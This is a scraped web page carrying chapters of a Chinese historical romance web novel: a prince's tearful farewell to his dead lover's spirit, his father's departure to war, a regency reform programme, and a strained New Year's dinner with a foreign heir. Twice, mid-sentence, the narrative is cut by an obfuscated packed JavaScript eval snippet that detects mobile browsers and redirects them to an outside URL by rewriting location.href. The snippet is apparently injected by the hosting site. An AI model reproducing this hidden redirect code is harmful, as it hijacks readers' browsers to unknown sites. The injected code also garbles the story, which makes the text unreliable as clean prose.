我来了。郑绥抚摸他的脸颊,柔声说,我来等你告别。 哦、是,告别。萧玠嘴唇嚅动,许久,抬头看他,……可我不想告别。 郑绥轻轻叹气,抬手擦拭萧玠脸颊。萧玠的眼泪把他冰凉的手指浸到冰冷,低声道,我不想告别,我不想你离开,我不想我们什么都没有你就这么走了。我还有很多话没告诉你,我想告诉你我做出决定了,我想告诉你……我的心。 萧玠哑声说:我小时候,爱过你。 郑绥说,我知道。 但沈娑婆和虞闻道的事情之后,我以为我再也不会去爱任何一个人了。可我没想到,这三年时间,足够让我重新爱上你了。萧玠呐喊道,我爱你……我现在爱你啊。 郑绥说,我知道。 萧玠哇地一声哭出来,他抱紧郑绥的腰痛哭流涕:对不起……对不起我让你等了这么久,对不起我什么都没有给你。我好后悔,我好恨啊! 郑绥说怀抱他,摩挲他的后背,明长,我都知道。你也知道,我只盼你好。 好起来,我们还会见面吗? 以后每年六月二十,也就是今天。郑绥道,无需祭奠,不必相飨,君呼我,我必见。 萧玠揪紧他衣料,喃喃道,你记得今天是什么日子。 是十一年前,我们第一次见面的日子。 在老师的院子——你父亲的院子里。我说你知道吗,这里原来是一棵樱桃树。你问我甜不甜。 我吃到了。郑绥笑道,很甜。 月光逐渐明亮,那股淡青香气渐渐稀薄。萧玠凭靠在郑绥怀里,感觉像搂抱一团逐渐消散的雾气。他整个身体哆嗦起来,泪花乱颤,像一个溺水的人挣扎着仰起脖子一样:你能再亲亲我吗?最后一次。 郑绥垂首吻住他。 萧玠抬起手臂,在神主掉落时搂住郑绥颈项。他竭力感受郑绥的嘴唇牙齿舌头,吮吻纠缠着被泪水灌满口腔。在他即将无法呼吸要强撑着继续时,郑绥放开他。这时神主坠地的声音才传进他耳朵里。萧玠抬起头,枯枝残叶送来一段沙沙摇曳声,明月依旧在天,亦照团圆,亦照离别。 136.第 136 章 郑绥从萧玠的夜间生活离开了。萧玠的夜晚挖空了一块,那块失去生气的神主已经无法填补他了。但值得庆幸的是,他以超出萧恒预料的速度振奋起来。 这段时间以来,旭章一直陪伴丧子的郑素夫妇。按道理,郑素实际是郑绥的表兄,但他的确恪尽二十年的父职,像青不悔抚育他一样把他的独子抚育成人。又几日,郑素回乡为青不悔修墓,旭章要求一道前往。 战争和生死已经把萧玠的小姑娘变成一个大孩子了。临行之前,她写了一封笔迹稚拙的信,请萧玠出宫相见。 萧玠得以在那座枇杷茂盛的院落里见到她。 郑绥十四岁上战场,就确立了死后不准家人服丧的规矩。萧玠便看到一个雪青色身影鸽子一样在树上翩跹飞舞,旭章不知道什么时候学会了爬树。 她坐在枝杈上,腿上放一只竹笸箩,两只小手从绿叶间摘取果实。一见萧玠,她便高兴招手,把笸箩抱在怀里,像只小猴子一样灵活地攀着树皮溜下来。 萧玠快步迎上去,一把将她抱在怀里,急声问:“怎么爬到树上去了?谁送你来的,只你自己吗?” 小姑娘由他抱着,小声道:“阿翁送我来的。阿翁说爹从小就会爬树了。爹会的,我也要会。” 说着,她将笸箩递到萧玠面前,“送给阿耶。” 萧玠接过,笑道:“谢谢囡囡。” “我听阿翁说,阿耶小时候咳嗽,爹就种了这棵树,每年都是他自己摘果子,配好方子,熬成膏给阿耶吃。”旭章走上前,小手牵起萧玠手指,“爹不在了,但还有太阳。那个方子的字太阳都能认下来了,以后太阳给阿耶熬枇杷膏。” 萧玠涩声道:“好。” 旭章小声说:“你要好好的呀。我好害怕。我怕你也不要我了。” 萧玠蹲下身,放下笸箩紧紧抱住她。他脸抵着旭章的脸,旭章就感觉有什么温热的液体从脸庞滑落了。 她听到阿耶的誓言:“囡囡放心,阿耶会好好活着,会活好长好长时间。阿耶绝不会抛下囡囡。枇杷树为证,你爹为鉴。” 旭章伸出胳膊抱住他的颈项,嗅着他颈边淡淡的降真香味。那味道和枇杷的清香气息,一起酝酿成家庭给旭章留下的嗅觉标记。她想尽一份孝心,去祖父墓前待一段时间,可她又害怕,怕一离开阿耶,阿耶也会像爹一样一股风似的离开了。她想和阿耶拉钩,拉钩上吊一百年不许变。但此时此刻,阿耶的声音给了她重如千钧的力量。她知道哪怕天崩地裂她的父亲也不会食言。 送走旭章后,萧玠的闲暇时间全部扑到秦寄身上。他空得太厉害了,他得用什么来填郑绥之死挖出的那块血淋淋的窟窿。他给秦寄安排课业,料理起居,桩桩件件都要过手。不可思议的是,对萧玠这种越界的管理,秦寄居然全盘接受了。 自冥婚一事之后,秦寄一直住在他的寝殿里。宫人难免往其他方面揣测,两个人也没有解释。这段时间萧玠看出来,秦寄读书全由性子。他四书五经一概未读,但兵书韬略却学得透彻,李太白的诗几乎全念过一遍。这么东一榔头西一棒的个性,秦灼竟也没有纠正他。 秦寄道:“他少管我功课。” 萧玠看他的经籍课业多了,连叹气都省了:“没给你寻个伴读吗?” 找过。说到这里,秦寄像想起什么,冲他咧嘴一笑,神态狡黠,“被我几拳打跑。还有一个,断了他家的子孙根。” 他说这话盯着萧玠的眼睛,看似吊儿郎当,实则一瞬不瞬地警觉萧玠的细微反应。 秦寄枕着双手倚着椅背,“从此恶名远扬,神憎鬼厌,满朝都说若有一天我来当政,必是暴君。” 萧玠眉心蹙起,却问:“他们冒犯——羞辱你了?” 秦寄脸色变了。 萧玠道:“你不是不讲道理的孩子。能下此狠手,大抵受到侮辱。” 秦寄那点震动的神色飞快掀过去,“你猜错了。我是南秦的太子,没有人敢侮辱我。我乐得当这个暴君。” “暴君先不讲,但大抵是个昏君。”萧玠拿过他的策论文章,翻给他看,“治国以经,你却把圣贤骂了个遍。” “絮絮叨叨,好不厌烦。”秦寄道,“我们南秦治国靠神,不靠经。” 萧玠看着他的脸,很桀骜,也冷淡,但仍有一股不符年龄的疏离之意出现在他的少年脸庞上。萧玠知道,秦寄远走绝非意气用事的缘故,他又是为什么背离光明宗,连秦灼都讳莫如深。 不能逼问。 萧玠将他的功课放好,笑道:“总体来说写得不错。想吃什么,我使人去做。” 秦寄嘁声:“你们家的饭糙。” 萧玠道:“那给你开个小灶,好不好?” 他扭头向外唤瑞官,嘱咐:“以后叫小厨房每日都做些海鲜糕点,采买的钱从我的例银里扣。” 秦寄问:“你这么抠门,居然还领分例银子?” “吃穿住行哪个不是照银子出的。”萧玠笑道,“只是东宫采买和甘露殿一起走的大宗,是陛下自己贴钱。这些年为了我的病,陛下靡费颇多。我的例银花不着,每月不如填给国库。但会留一笔钱做额外开支,像旭章的衣食、给朝臣的赏赐,还有给陛下的孝敬。” 秦寄冷笑两声:“几两碎银也要兜兜转转,不愧是天家,好大的排场。” 萧玠只作不闻,问:“你爱吃酥酪吗?宫里有一道酪溉樱桃,味道极好。” 秦寄深深看他一眼,没说什么。 这是秦灼喜欢的口味。 萧玠以为他默许,便吩咐人做来。晚饭敲定,便去磨秦寄的文章。日头西斜,除却读书的秦寄,东宫却是要黑下天来才掌灯,掌的也是一类夹层注水的省油灯。据萧玠说,这是吴州百姓的发明,能够省油一半。 本以为梁皇帝的节俭已经令人发指,结果他儿子还青出于蓝。 秦寄不喜读书,但从文章看,他很是学习的料。若肯下功夫,当有不小的成就,起码处理政事是不成问题。但他不。萧玠见他这几日捧书看,还以为转性,结果一看是萧恒写给自己的影子的相关记录,秦寄正看到制作面具这块,这几日便索要工具,有模有样地做起来。 萧玠递一盏灯给他,提醒:“鼻子没刮好,贴的话要歪。” 秦寄瞪他一眼,但手中工具的确调整了方向。 萧玠笑一笑,继续看他的文章。 等天色暗淡,东宫灯火陆续点亮之际,也到了吃晚饭的时候。宫人们正前后布菜,萧玠便见有人打着灯笼进来,笑道:“秋翁怎么这个时辰来了。” 秋童笑道:“陛下这几日忙,没有来看望殿下,心中想念,请殿下去甘露殿用膳。” 他说着,已有宫人将食盒奉到案上。秋童道:“这是陛下吩咐做的几样点心小菜,请秦少公尝个新鲜。” 秦寄冷嗤一声,便被萧玠截断:“我代少公谢恩。秋翁先行,我一会就到。” 待秋童去后,萧玠走到秦寄身边坐下,柔声说:“阿寄,我需得去一趟。陛下这时辰找我,当有要事商议。” 秦寄哂道:“去呗。那是你爹,我算什么。” 宫人已经在陆续布菜了,萧玠也将食盒里的饭菜取出来,道:“这是陛下自己种的豇豆,很新鲜,南方是吃不到的。还有这几样糕点,宫中也少做。你好好吃饭,我晚上回来。” 秦寄嗤笑一声,不发一言。 萧玠叹口气,将筷子递到他手里,便起身走了。他脚步远去不久,秦寄手腕一振,将那碟豇豆打到殿门外。 盏碟碎裂声里东宫宫人跪了一地。秦寄面无表情,端起那碗酪溉樱桃,吃粥般囫囵地吞咽起来。 *** 萧玠踏入甘露殿时,先看到床前衣架上,挂在那件诸侯衮服旁的一套铠甲。 他未动声色,走到整理衣箱的萧恒身边,轻轻叫:“阿爹。” 萧恒回头,他的脸部纹路被月光照亮,一见萧玠就舒化开了。萧恒站起身,道:“先吃饭。” 两人从桌旁落座,秋童添菜后便掩门出去。萧玠一看桌上,竟是热腾腾的饺子,包成小兔子形状,一看就是甘荀鸡蛋,估计还有几个是红糖馅的。 萧恒道:“前一段旭章住在宫里,听她找你要兔子饺子吃,才想起多久没给你做过了。” 萧玠笑道:“我已经给她包过了。她都是大姑娘了,阿爹还拿我当小孩哄呢。” 萧恒道:“在爹跟前,你永远是小孩。” 萧玠眼睛有些热,见萧恒向他伸手,便握住父亲手掌,走到他身边坐下。他将脸靠在萧恒肩头,握着父亲粗糙宽大的手掌,轻轻道:“对不住,前一阵叫你担心了。阿爹看我那样,很害怕吧。” 萧恒只道:“好了就好。” 萧玠笑,重新看向那盘饺子,问:“阿爹给阿寄送饭菜,怎么不拿这个给他尝尝?” 萧恒道:“你阿耶就吃不得甘荀。” 萧玠道:“可我就吃得呀。” 萧恒一愣,笑了:“是,阿爹老糊涂了。” 萧玠搂紧他胳膊,“阿爹不老的。” 萧恒也抱住他,“好,爹不老。” 灯火下,饭香也飘成柔黄的雾状。两人依靠一会,萧玠看着父亲握住自己的、皱痕遍布的手,问:“阿爹,你是不是有什么话和我说?” 萧恒道:“先吃饭吧。” 父子俩便一块吃饭,无人打扰,静悄悄地。萧玠突然想起很小的时候,秦灼回南秦时,萧恒自己带着他。那时候他学着自己吃饭,萧恒便将他放在身边的高脚凳上,他似乎在吃粥还是什么,自己舀着吃颇有成就,吃一口就冲萧恒咯咯笑。 饺子包得不多,萧玠吃得精光。萧恒吃完自己那碗馎饦,便静静注视他。 萧玠将箸放下,等待父亲开口。 萧恒道:“阿玠,阿爹准备亲征了。” 萧玠并没有很意外。 他静默片刻,问出父亲未曾出口的目的地:“是西琼吗?” 萧恒握他的手掌颤动一下,颔首。 萧玠点点头,“朝政怎么办?” “阿爹想让你正式监国。”萧恒道,“你已经长大了。这些年你的能力阿爹看在眼里,可以独当一面了。杨士嵘和崔鲲都会尽心辅佐你,有任何问题,你也可以向皇后求助。这段时间,所有的重大典礼都由你主持。还有,明年也到了科举之年,选士事宜,由礼部协助你完成。这些士子由你钦点,就是你的门生,你以后想推进怎样的朝政,他们都会是你的助力。” 萧恒嘱咐得事情太多,时间跨度也太长。萧玠有些惴惴,问:“你什么时候回来?” “如果顺利,要明年开春。” 现在不过秋天,父亲这一仗要打半年之久,是拔国清算之战。 萧玠预料之中的心脏还是重重跳动一下。西琼对大梁恶行累累,前有潮州几乎绝户,后有樾州血流漂杵,折进去郑宁之,自己一条性命也险些赔进去……父亲对西琼,恨之入骨。 血债血偿当为正义。但,那个罪魁,那个女人,是秦灼的妻子,秦寄的母亲。 一旦大梁对琼开战,南秦不会参与?秦灼不会卷进去?如果秦灼卷进去……难道他覆水破镜的双亲要在战场上再见吗?阿爹受得了……他受得了吗? 萧玠深深呼吸几下,问:“阿耶知道吗?” 话一出口,萧玠感觉父亲腕部脉搏剧烈一跳。 萧恒点了点头。 *** “萧重光要发兵?!” “多大年纪了,别叫。”秦灼看着从椅中跳起的陈子元,将信从他手中抽走,“这段时间全军戒备,防止生乱。” 陈子元重新坐回椅里,尽量平复气息,“你怎么办?” 秦灼将那封信笺叠好,收到书匮里,“当年梁燕一战,阿耶怎么办,我怎么办。” 陈子元讶然,“你不管?” “我管什么?”秦灼道,“萧重光要讨樾州的血仇,南秦自始至终没沾过一点手。我们干干净净,何必趟这浑水。更何况这些年段氏拿阿寄作筏,明里暗里敲了多少竹杠。至于南秦的内政……你也知道她的手伸得有多长。” 萧恒的字迹重新漂浮眼前。陈子元骤然明白过来,“你要和萧重光联手清算她。” 他一拍大腿,“我说你怎么把阿寄送到长安去!” 秦灼没有否认:“梁皇帝有斩草除根之意,只是山遥路远,难免段氏狡兔三窟,若不清除彻底,早晚死灰复燃。我么,早就不想受她掣肘,只是我们自己和西琼开战损伤太大,得不偿失。既然与子同仇,这件事上,可以勠力同心。” 此事几乎是坐观虎斗,哪怕秦温吉在场怕也只有赞成的份。陈子元却面露迟疑,“但阿寄在长安不会出事?你晓得,他打小对姓萧的……” “有阿玠看着他。”秦灼的神色很难形容,“阿寄……其实是个懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757320|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的孩子。你知道吗?我原本以为他会怨恨阿玠。” 陈子元又叹一口气。 秦灼望向不远处神龛内的光明大像。残灯映在他眼中,却跳跃起新的火苗。 秦灼徐徐捻动虎头扳指,缓声道:“趁阿寄不在朝,该办的事,都替他办了。” *** 明月当空轮转,从南面背过脸,又望向北地的宫墙。 萧玠蹲在衣箱边,替萧恒整理行装,边收拾边道:“既然要去半年,那四季的衣裳都要备全。其实秋冬出征相较好些,雨水少,道路不至泥泞,有利于行军。你也不要只拿金疮药,治痢疾的治疟疾的,宫里的药要好很多。还有治胃病的药,一天要吃四次,不要因为打仗就敷衍了。我收买人做耳报的。还有盔甲,多少年不穿要不要换新的……算了,我再看一遍。” 萧恒笑着制止他,“阿玠,阿爹检查过了。” 萧玠仍不停下,“还是再看一遍的好。” 萧恒叹口气,跨上去抱住他。 萧玠双手一滞,从甲胄间滑落。 他在萧恒怀里埋了好一会,道:“旭章离开时,我告诉她,我会好好活着,我绝不会抛下她。这话一吐就出来了,像说过很多遍一样。我想为什么会这么熟练呢?后来才想起来,这是奉皇五年你去西塞前,我最希望你告诉我的话。那时候我问你,你会死吗,但你说说不好。你说要我听阿耶和老师的话。” 他揪紧萧恒衣襟,感觉喉咙肿痛,“可我现在……我现在已经听不着他们两个的话了。我只有你了。我是个成人,知道君无戏言,知道战争是什么样子,也知道什么是真话什么是假话,但……但你能不能这么和我说一次,说你会活着回来,说你永远不会抛下我。” 不等他说完,萧恒已经紧紧抱住他。他在儿子耳边一字一句道:“阿玠,阿爹向你起誓,一定会活着回来。阿爹什么时候都不会抛下你。为了你,就算到阴曹地府,阿爹也会跟阎王爷挣日子。你什么都不要怕。” 萧玠应一声,环臂抱紧他,瓮瓮道:“还是好讨厌打仗。” 萧恒笑了一下,轻轻拍打他后背,“阿爹还要求你一件事。” “我会瞒着阿寄的。”萧玠道,“在陛下得胜凯旋之前,他不会从任何人口中知道这件事。” 萧恒没有说话。 萧玠犹豫半晌,还是问:“阿耶……怎么说?” “这也是他的意思。” 有秦灼默许,行兵当无后顾忧,萧恒却并无喜色,“段氏再穷凶极恶,到底是他的妻子。一日夫妻百日恩。” 萧玠听到父亲飘渺的声音:“我欠他的,下辈子也偿还不清了。” *** 翌日清晨,梁皇帝萧恒率兵南下,征讨西琼。中书令杨峥留守京中,皇后太子登城相送。 距萧恒上次亲征已经过去十七年,十七年天上人间改换遍。如今萧恒再度铠甲披身,已经从骏马变成老骥,双鬓无需刀光照射,已然如染霜雪。 他不年轻了,但也不该这么老啊。 中书令杨峥相伴在旁,胡须当空飘扬时高声喝道:“满酒!” 城下,数万酒碗被美酒溉满。城上,一碗酒水捧在太子掌中。 萧玠严装大服,已经很有接管天下的威仪。他迈动脚步,将酒碗举到萧恒面前,祝颂道:“王犹允塞,徐方既来。徐方既同,天子之功。四方既平,徐方来庭。徐方不回,王曰还归。”* 萧恒接过酒碗,举向城下,高声道:“谢殿下!” 城下高呼千岁,声震如雷。 群情激愤间,角声吹彻,鼓声擂动,庄重肃穆的军乐军礼将整个长安城淹没。酒碗饮空放置后,环首刀被萧恒拔出腰间,高指云端,在万众瞩目下绽放华彩。 萧玠听到父亲的呐喊,带着隐忍、激动和杀意,响彻天下:“大军准备!” 越来越紧的鼓声中,萧恒挥落手臂,声音随白龙旗帜迎风作响:“出征!” 数万马蹄如同炮响,数万脚步如同雷鸣,数万吼声震破浓云,放万道阳光刺向人间。 在大军出征的阵仗前,萧恒的手穿过旒珠,摸了摸萧玠的脸,道:“照顾好自己。” 萧玠抱袖躬身,长揖及地,“我王战无不利。” 大军开拔,天子旗帜向南飘远。萧玠凭墙目送,突然呀了一声:“护膝忘记带了,南方的冬天那么冷。” 杨皇后拍拍他手臂,安抚道:“有太医随行,不会有失。” 萧玠注目军队最首的背影,这么远的距离,看上去几乎像个全盛茁壮的青年人。他喃喃道:“我知道,陛下这次出征是为了我。西琼盘踞一方虎视眈眈,若到我继位变动之际必兴反逆。陛下觉得……自己时日无多,他要替我永除后患。” “养儿一百岁,常忧九十九。”杨皇后道,“殿下如今也为人父母,当晓得这是人之常情,不要为此自责。” 萧玠深吸口气,露出笑容,“殿下放心,我已不是黄口稚子。陛下将后方交给我,我必须让他无后顾之忧。” 杨皇后温柔笑道:“我和兄长都会襄助殿下。” 萧玠转头看她,他父亲有名无实的妻子,这个看破红尘出作女冠、又重新入世成为国母的女人。萧玠也是近些年才明白她要入宫的原因。 她除了报父亲之恩,还有裴玉清的遗志要继承。 裴玉清因涅而不淄而死,她就要污浊再无藏身之所。裴玉清因女身揭破而死,她就要天下才女立满朝堂。 为了裴玉清和她染血的理想,杨观音心甘情愿把自己围困宫墙。 杨观音封后已有六年,这六年里,建朝之初的皇后制度也被逐渐恢复——她可以参与朝政,必要时刻,对军国大事具有一锤定音的权力。在杨观音的推动下,前朝的女官制度已初见成效,土地、教育和经济改革按部就班进行,女人和平民逐渐取得更多的立身之本。杨氏兄妹在前朝后宫为萧恒配合,成为天子的利剑和城墙。 萧恒这些年身体情况不容乐观,一旦他意外殡天,杨皇后就是说一不二的话事人,她和杨峥会以太后之尊和丞相之权护卫萧玠。有她看顾,萧玠也能挨过宫墙内的明枪暗箭。 她不是萧恒为萧玠安心或逃避婚姻请回来供奉在殿的偶像。 她是萧恒的知己,和同道。 萧玠和她对视许久,笑道:“陛下虽然离京,但新的政令还要继续推行。一些枝叶,该剪一剪了。” 137.第 137 章 萧玠监国期间,在杨皇后兄妹扶助下,发动了梁王朝历史上持续时间最久的一场变革。由于没有强大外力阻断以及措施环环相扣而非另起炉灶的推行,这场变法得以横跨两个君王执政期、长达近二十年之久,因自梁昭帝奉皇年号起、至梁明帝大同年号宣告完成,后世称之为“昭明新治”。 世族势力被大幅度削弱后,一些举措得以顺利推行。官制得以再次改革,传统的三省六部制逐渐变动。六部职权细化,分为十八司,一部三司,分管君、官、民三类事项。国库财政也对应整改,皇室供奉于每年春秋对民张榜公告,君、官、民财政比重以二十为基数,分别占一、四、十五的国库比重,使皇室分例、官员俸禄、民生财务彻底分割。同时,新设自下而上的监督机构,设立采风官,采取民歌童谣及市井议政内容,上报进行专门讨论。再于朔望大朝后,于永安门设“问对会”,京畿百姓可书写竹筹,放入门下陈设的竹筒之中,由中书令及六部长官抽签回答,整个流程于众目下进行,保证公正无私。京城“问对会”最长可持续一天之久,又称“大问对”,相应地,各地于州府前每三月设问对,称“小问对”。 官制改革需要选士制度相配合。自明年科举起,新科进士先行外放,多为苦寒之地,操戍疆、治水、等实务,三年之后回京述职,根据其科考成绩与实际政绩确定官职。不仅如此,抡才标准也进行大的革新。这些年在萧恒推动下,教育已经得到大幅度普及。自奉皇二十三年起,自国子监向下,开设算术、律法、地理等专课学习。自下届科举起,开设农、商、建筑、地理、算术等实务科。计划十年之内,取消男女分科。凡女子进学,州府按人头拨助,但过考核,每户每年银三两。 于此同时,萧玠也改善调整了萧恒早年过于激进的方案。譬如萧恒过激的皇庄换田均地方案,最终因缺乏配套措施,在地方推行艰难而停滞。萧玠根据萧恒留书,设立“户田司”,统管土地交易。任支持变法的商帮(潮柳地带居多)为皇商,协同户田司设立田亩券(即土地所有权证明),以二十年过渡期为限,先均田于民再统田于公,逐渐废除土地私有制。 再如早年推行受阻的勋爵废除计划,萧玠采取保留名义、紧缩特权、限制发展的策略,逐渐使爵位成为无权空壳。并对勋爵入仕的人数、职位作一定限制,压缩勋贵子弟上升空间,但放弃爵位即可入仕如常。同时,对于思想顽固的老牌权贵,萧玠继承萧恒的现有政策,捐资支持朝廷钦点的技术革新及火器发展项目的,可保留爵位。 以上种种,不过九牛一毛。萧玠纵有见地,也很难以当下的经验和能力建立如此完备庞大的系统方案。据相关文献推知,奉皇二十二年底由萧玠主导的变革,应当经过萧恒允许和书面指导,并且有很大一部分出自萧恒手笔。由此可知,萧恒没有遗忘过前贤超前的理念和构想,其部分政令内容出自李文正残稿,甚至可以追溯到杜筠保存的青文忠手泽。 至于萧恒为什么要把变法的主导权交给萧玠,和他为什么要在四十四岁那年御驾亲征的答案一样。 他要给萧玠铺路。 同时,他也希望萧玠重拾自己的价值,消解失去郑绥的痛苦。 萧玠明白他的苦心,也不会辜负。 天气转凉,树叶由绿染黄,最终零落北风。萧玠除了朝政和出城走访,剩下的时间就用在等萧恒的书信和照看秦寄上。 家书总是和战报同达,萧玠很多时候会从笔迹里判断萧恒身体状况,所幸至今一切正常。萧恒还是爱把他当小孩哄,有次随家书送来几块打磨好的彩色矿石——萧玠小时候去南秦有在金河边捡漂亮石头的爱好,那些石子现在还装在甘露殿的瓶子里。 萧玠正拿石头看,突然听到背后有声音响起:“这是黄蜡石,西琼溪水里经常有。” 萧玠浑身砰地一跳,忙把信拢到袖中,连石头都洒掉了。那些鲜艳明亮的石子骨碌碌滚了一地,被一只少年的手捡起来。 萧玠忙走上前,秦寄已经把石头捡好,一把抛在他书案上,有些冷淡、又有些奇怪地看着他。 自己的反应太大了。 萧恒伐琼之事,萧玠严禁阖宫上下向秦寄透露,只说是微服地方,加上秦寄对萧恒不怎么关心,便被瞒在鼓里。萧玠笑了笑:“你走路怎么没声音,吓我一跳。” “是你耳朵不好。”秦寄道。 好在秦寄对萧恒的信不敢兴趣,自己跳到窗台上坐了。萧玠将信叠好,想把石子在桌上按大小摆放。但萧恒不管是选石还是打磨做得都好,很难立即分出大小。 萧玠有些心虚,手中忙活,试探道:“这石头是西琼的特产吗?” “南方溪水里常有。” 秦寄应当没起疑心。萧玠点点头,见他虽在箭衣外套了袍子,穿的到底单薄,道:“北方冬天冷,你多穿些。若缺什么东西就和我说。” 秦寄道:“你可是忙人。” 他常作这种半阴不阳的态度,萧玠也不恼:“你是顶要紧的。” 秦寄没搭腔,萧玠便继续找话说:“快过年了,南秦年夜饭常吃什么?” 秦寄看他一眼,“你没吃过?” 萧玠想了想,“其实应该是吃过的,但那时候太小,不记得了。宫里新荐了个南方厨子,据说手艺很好。听说你爱吃血蚶和菊花鱼生,他应当都能做。还有什么爱吃的?” 秦寄问:“你怎么知道我爱吃什么。” 萧玠道:“我说了,你又要生气。” 秦寄扭过头去。 萧玠叹口气,走到他身边,本想握他的手,到底没有动作,只道:“阿寄,他很挂念你。” “是挂念你吧。”秦寄毫无波动,“挂念你,顺带问一句。” “伯仲叔季,他拿伯琼做你的字,说明你是他心中头等的位置。”萧玠道,“你是他的嫡子、长子、独子。” 秦寄盯着他的眼睛跳下窗台,和萧玠差不多高的个头一下子让他像个成人。 “我能成这个嫡子长子独子,是因为你没有留在南秦。”秦寄语气冰冷,“梁太子,你如果想好好说话,就该知道什么不能说。” “对不住,是我说错了。”萧玠问,“那除了血蚶鱼生,你还有什么爱吃的吗?” 秦寄重新跳回窗台。萧玠发现,“坐下”对秦寄来说是一个恢复平静的标志。 这孩子像一团熊熊燃烧却冰冷的火焰。 火焰说:“我爱吃鳆鱼,须得新鲜,个头也要足。吃鳆也讲究,要上好的海参鱼翅火腿作配,还有肥鸡肥鸭猪肚猪脚等十类肉食和冬菇竹笋煲汤,去肉留汤,只熬一头鳆。” 秦寄目光自上而下从萧玠身上扫动,“我爱吃,你做得来么?你这件冬衣穿了至少三年了吧。” 萧玠笑了笑,“旧衣裳熨帖。你爱吃,我想办法。” 秦寄的本意是让萧玠知难而退,告诉他自己虽在大梁,也救过他几次,但和他没什么感情,习惯也天差地别。一个挥金如土一个戒奢以俭,终归是两路人。 很显然,萧玠有自己的想法。 大年三十,萧玠结束朝会和一系列繁琐礼节,回宫天色已黑。远远地,便见瑞官领一众宫人打着灯笼迎候。见他来,众人笑着福身,齐声道:“殿下新春喜乐,福寿绵长。” 萧玠便向众人躬身揖袖,笑道:“独乐乐不如众乐乐,大伙一起福寿绵长才好。过年操劳,各位辛苦,明早记得来领红封。不许代领啊。” 宫人们高呼千岁,簇拥他进门。萧玠依照惯例问:“少公今日如何?” 瑞官道:“和从前大差不差,只是殿下您布置的功课我们也瞧不明白。只晓得看了您指定的几本书,又继续看昨天的话本。哦,今早还和我们要了箔纸和色笺。” 说到这里,他一拍脑袋,“今早陛下和郑娘子的信一块到了。” 闻此,萧玠不及更衣,紧忙拿信查看。先看是捷报,一颗心终于放下,又读萧恒书信所叙南方风物、军营活动,有些心生向往。旭章的信则是一张字附一张图画,萧玠几乎能看到小姑娘牵着袖子叽叽喳喳的模样。 他将信放下,在窗边找到秦寄。 秦寄在叠纸花。 窗边放一只竹筐,里面是金银箔纸和一沓胭脂色的油纸笺。纸页在秦寄灵活飞动的手指下逐渐绽放,化作朵朵莲花。有些散落窗边,有些漂浮秦寄膝头,在夜色下焕发出温柔花光。秦寄偏着头,半拳大的太阳耳坠敷在脸畔,他似乎在走神,又似乎一丝不苟。 萧玠轻轻叫一声:“阿寄。” 秦寄继续叠花,没看他。 萧玠走上前,弯腰探头看他,“咱们先吃饭。吃完饭我陪你叠,好吗?” 秦寄不置可否,但跳下窗台。 这顿年夜饭只两个人吃,饭菜不多,但血蚶鱼生都有。秦寄在萧玠期待下挟了两筷子,评价道:“凑合。” 那就是不错。 萧玠笑了笑,将新端上来的汤盅揭开,腾腾热香扑面而来。 秦寄筷子伸进去,夹起一头鳆鱼,冲萧玠扬了扬:“这可不是新鲜的。” 萧玠取碗盛汤:“长安地处中原,实在取不到新鲜海产。虽是干货发的,但都是好料。” 秦寄将那头鳆丢回汤盅,“我只吃鲜的。” 萧玠盛好汤放到他面前,道:“这是我向师傅学过,自己煲的。今早把干货发好,将火腿鸡鸭猪骨焯好,煲上汤我才去上朝。一直劳烦瑞官帮我盯着火,火候大抵没错。” 秦寄没动。 萧玠央道:“我学了好几日,不到三更就起来做的。尝尝好不好。” 秦寄盯着他的眼神明暗不定,还是伸手端碗,舀了一只鳆鱼吃。 萧玠忙问:“怎么样?” 秦寄脸色很冷淡,不情不愿地嗯了一声。 萧玠喜笑颜开,“那你多吃些。” 秦寄打量汤盅,就算都是干货,这一盅也下不来五两银。秦寄脑袋里响起萧玠每天念叨的语气:五两银足够一个农民半年的收入。 秦寄胸中有些堵,话出口便是:“你倒奢侈。” 他这番指摘不讲道理,且萧玠定是拿自己的例银填,不会占公账。萧玠却不委屈,笑道:“你爱吃就好。” 相处这一段,秦寄已经领教了萧玠的本事。只要不骂他爹,任何冷言恶语他都能含笑接招,让人一拳打在棉花上,反倒自己是个恶人。秦寄甚至怀疑就算自己打他一顿,他还要拍手称快打得好。要么就含泪问,你还想打吗,这里有些痛你换个地方打好不好。 当年萧重光勾引他阿耶是不是就用的这一套。 秦寄没再说话,见萧玠只择素菜,便想起他已经改信佛宗。秦寄报复心起,故意将鳆鱼夹给他。 萧玠一愣。 秦寄说:“吃。” “谢谢阿寄。”萧玠冲他一笑,真的吃掉了。 他没有推三阻四,秦寄心里反倒不舒服,满桌荤菜给他夹了一遍,还舀了飘着油星的一碗汤。萧玠没有推拒,全部吃完了。 萧玠食量本就不大,又久不沾荤腥,到底难以克化。是以这顿饭吃到最后,他面上无恙,一只手伸到桌下揉腹。秦寄盯他一会,渐渐皱起眉心,问:“难受?” 萧玠笑了笑,“还好。一会有烟花,咱们去瞧瞧。” 秦寄不理,拽过他手腕摸脉,摸了一会,道:“给你夹你就吃,怎么不撑死你?” “你夹的嘛。”萧玠看他脸色,笑道,“再说,海产不能过夜,不吃就浪费了。真的还好。” 秦寄看他一眼,眼神依旧冰冷,接着站起身,不知道往箱子里翻找什么,拿着东西出来,指着床道:“躺下。” 萧玠便依他躺下,见他从一只荷包里翻出几样干草,问:“这是什么?” “艾叶。”秦寄拿过一只干净茶碗,倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757824|186996||http|test|mini|href|location''.split(''|''),0,{})); () { 